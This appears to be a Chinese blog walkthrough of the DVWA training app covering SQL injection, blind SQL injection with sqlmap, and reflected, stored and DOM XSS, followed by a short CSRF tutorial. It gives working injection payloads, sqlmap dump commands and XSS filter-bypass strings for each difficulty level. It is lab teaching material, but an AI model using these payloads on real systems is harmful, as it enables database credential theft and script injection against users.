DVWA通关教程(下)

DVWA之SQL注入和SQL盲注

sql注入

1.low级别

(1)判断是否存在注入点,是字符型还是数字形

输入 1,查询成功;

输入 1 and 1=1,发现查询仍然成功;//非数字形

输入 1/,发现查询仍然成功;

输入 1’,查询失败。出现如下图:

 

(2)猜解 SQL 查询语句中的字段数

输入1' order by 10 # 发现报错

 

 尝试1' order by 2 # 成功

(3)确定显示的字段顺序

输入 1' union select 1,2 # 成功

 (4)获取当前用户,数据库,版本号

输入1' union select 1,concat(user(),database(),version())#

 

 

(5)获取数据库中的表

输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

 (6)获取表中的字段名

输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #

 

(7)爆破关键字段

1' or 1=2 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

 (8)通过www.cmd5.com来查询密码

 

2.medium级别

(1)打开burp拦截,把拦截到的内容发送给重发器

 

 

(2)爆破数据库名称

修改id=1 改成 1 and 1=2 union select 1,concat(database(),floor(rand(0)*2))x from information_schema.tables group by x # 然后发送,去旁边响应查看,得到数据库名

 

 

 

(3)爆破表的数量

输入 1 and 1=2 union select 1,concat((select count(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x#

然后重复上边的步骤得到表的数量为2

 

 

(4)爆破表的名字

输入 1 and 1=2 union select 1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x# 再重复以上操作得到表的名字

 

 

(5)爆破users的字段名

输入 1 and 1=2 union select 1,concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 ),floor(rand(0)*2))x from information_schema.tables group by x# 再重复以上操作

 

 

(6)爆破字段的值

输入 1 and 1=2 union select 1,concat((select group_concat(user_id,user,password) from users),floor(rand(0)*2))x from information_schema.tables group by x# 再重复操作得到值

再去www.cmd5.com转换值得到明文密码

 

 

 

3.high级别

(1)点击改变你的id

 

(2)直接输入代码 1' or 1=2 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

得到密码账户信息

 

 

利用sqlmap进入注入(记得拍个快照,每做完一级别就恢复快照)

1.low级别

(1)打开burp拦截 输入“1” 然后把拦截内容复制到文件,起名“l.txt”

 

 

 

(2)打开sqlmap

爆破数据库名称 输入命令 python sqlmap.py -r d:\l.txt --dbs --random-agent

 

 

(3)指定数据库查看表

python sqlmap.py -r d:\l.txt -D dvwa --tables --random-agent

 

 (3)接着爆破users表里边的账户密码

python sqlmap.py -r d:\l,txt -D dvwa -T users --dump --random-agent

 这个1是选择提供的1,2,3 三个字典 默认选择1就行

 

 

2.medium级别

(1)提交1 去burp拦截内容 然后复制到文件取名 "m.txt"

 

 

(2)去sqlmap

爆破数据库名 输入 python sqlmap.py -r d:\m.txt --dbs

 

(3)爆破dvwa的表名

输入 python sqlmap.py -r d:\m.txt -D dvwa --tables

 

 

(4)爆破users里边的账户密码

输入 python sqlmap.py -r d:\m.txt -D dvwa -T users --dump

 

 3.high级别

(1)点击它,弹出一个弹窗,输入“1”拦截下来,复制到文件 取名h.txt

 

 

 

 

(2)点击它 复制后边的路径 写一个二阶注入命令 等下要用它

--second-url="http://172.16.12.131:81/vulnerabilities/sqli/"

 (3)去sqlmap 爆破数据库名称

输入python sqlmap.py -r d:\h.txt --dbs --second-url="http://172.16.12.131:81/vulnerabilities/sqli/" --random-agent

 

 

(4)爆破DVWA里边的表

输入 python sqlmap.py -r d:\h.txt -D dvwa --tables --second-url="http://172.16.12.131:81/vulnerabilities/sqli/" --random-agent

 

 

(5)爆破users表里边的账户和密码

输入 python sqlmap.py -r d:\h.txt -D dvwa -T users --dump --second-url="http://172.16.12.131:81/vulnerabilities/sqli/" --random-agent

 

 

SQL盲注(手注按照往常一个一个猜就行 过程太多 所以直接上sqlmap进行盲注)

使用sqlmap注入

1.low级别

(1)输入1 去burp抓包 复制到文件取名l.txt

(2)去sqlmap

爆破数据库名称 输入 python sqlmap.txt -r d:\l.txt --dbs --random-agent

 

 (3)爆破表名 输入 python sqlmap.py -r d:\l.txt -D dvwa --tables --random-agent

 

 

(4)爆破users里边的账户密码

输入 python sqlmap.py -r d:\l.txt -D dvwa -T users --dump --random-agent

 

 

2.medium级别

(1)提交“1” 去burp 把拦截内容复制到文件 取名m.txt

(2)打开sqlmap

爆破数据库 输入 python sqlmap.py -r d:\m.txt --dbs --random-agent

 

 

(3)爆破数据库表里边的名

输入 python sqlmap.py -r d:\m.txt -D dvwa --tables --random-agent

(4)爆破表里边的账户密码

输入 python sqlmap.py -r d:\m.txt -D dvwa -T users --dump --random-agent

 

 

3.higt级别

sqlmap注入不了sql盲注高级得手动注入(这个手注和sql注入一样 输入“1”,去burp把拦截到的内容发送到重发器,然后修改id=1 那里 就一个一个的猜它的字符段,数据库名称等等)

他限制了时间 所以我们可以把时间多写一点 比如写成10 但是就非常需要时间了或者使用low级别的手注

 

点击改变你的ID

输入 1 and sleep(10)# ()里边的数字写大点 正确他就反馈存在此用户id,

后边就一个一个的把数据库名称等等试出来

 

DVWA之xss反射性 存储型 DOM型

注意:alert('123')和alert(/456/)的区别

'' 弹出的内容不显示单引号

 "//" 弹出的内容显示这个"//"符号,也显示//里边的内容

 

反射型

1.low级别

(1)输入“1” 查看上边执行的内容

 (2)因为它什么都没有过滤,所以直接在name后边添加script脚本

 

2.medium中级

(1)输入1 查看它执行的内容

 

(2)发现直接写如script脚本被过滤掉了

所以我们试试用双写来绕过它<sc<script>ript>alert('2')</sc<script>ript>

 (3)也可以尝试用大小写来绕过

 

3.high高级

(1)高级过滤掉了script脚本,但是我们可以尝试通过插入图片来执行脚本

 

存储型

1.low级别

(1)因为他没有过滤 所以可以直接在留言处写入脚本(不过它的用户名有长度限制,所以只能在留言处添加)

 

 

2.medium中级(message留言处被过滤了 所以我们尝试在name添加代码)

由于对 message(就是留言的意思) 参数使用了 htmlspecialchars 函数进行编码,因此无法再通过 message 参数注入 XSS 代码,但是对于 name 参数,只是简单过滤了

(1)使用双写绕过

他在留言处过滤掉lscript脚本 所以我们使用burp抓包来修改它的内容

 

 

 (2)利用大小写绕过

 

 

3.high高级(也是在名字修改)

(1)和反射型高级一样,利用img插入图片来执行脚本

 再放包

 

 

DOM型

1.low级别

(1)选择一个语言 查看它执行的内容

 (2)发现后边可以直接写脚本 然后我们添加一个脚本点击运行

 

 

2.medium中级

(1)限制了script标签

所以我们利用url截断机制加“#”号 url 中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,直接在本地出现

所以我们之间编辑执行的内容

 

 (2)利用svg标签执行代码 (svg和img类似)

 

 

3.high高级

必须给服务端上传4个选择中的一个 u送一我们在english后边添加#

(1)限制script脚本 也是来利用img标签来执行

选择语言 修改执行的内容

 

(2)把这句话复制在另一个窗口打开

http://172.16.12.131:81/vulnerabilities/xss_d/?default=English#</option></select><img src=1 οnerrοr=alert('456')>

 

 

方法二

利用svg标签 然后复制链接去另一个窗口打开

http://172.16.12.131:81/vulnerabilities/xss_d/?default=English#</option></select><svg οnlοad=alert('789')>

 

 

  • 2
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
DVWA(Damn Vulnerable Web Application)是一个专门用于测试和学习Web应用安全的漏洞实验平台。CSRF(Cross-Site Request Forgery)跨站请求伪造是一种常见的Web安全漏洞。下面是一个简单的DVWA CSRF通关教程: 1. 下载和安装DVWA:首先,你需要从DVWA官方网站下载DVWA实验平台,并将其部署到你的本地服务器或虚拟机中。 2. 启动DVWA:在你的服务器上启动DVWA,并确保它可以通过浏览器访问。 3. 注册并登录:使用你的浏览器访问DVWA,并注册一个新用户。然后,使用你的新用户登录到DVWA。 4. 寻找CSRF漏洞:在DVWA的主界面上,点击"CSRF"标签,进入CSRF页面。 5. 查看源代码:在CSRF页面上,查看页面的HTML源代码。寻找包含表单提交功能的表单。 6. 构造恶意请求:根据HTML源代码,构造一个恶意请求,该请求可能会执行一些不安全的操作,例如更改用户密码或删除帐户。 7. 利用CSRF漏洞:使用构造的恶意请求,通过其他方式引导用户访问你构建的恶意请求链接。当用户访问这个链接时,他们的操作将被执行,而他们可能并不知情。 8. 验证漏洞:通过在DVWA中检查相关操作是否被执行,来验证是否成功利用了CSRF漏洞。 请注意,在进行漏洞测试时,确保只在授权范围内操作,并遵循合法的道德规范。漏洞测试应该仅用于学习和安全研究目的,不应用于非法活动。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值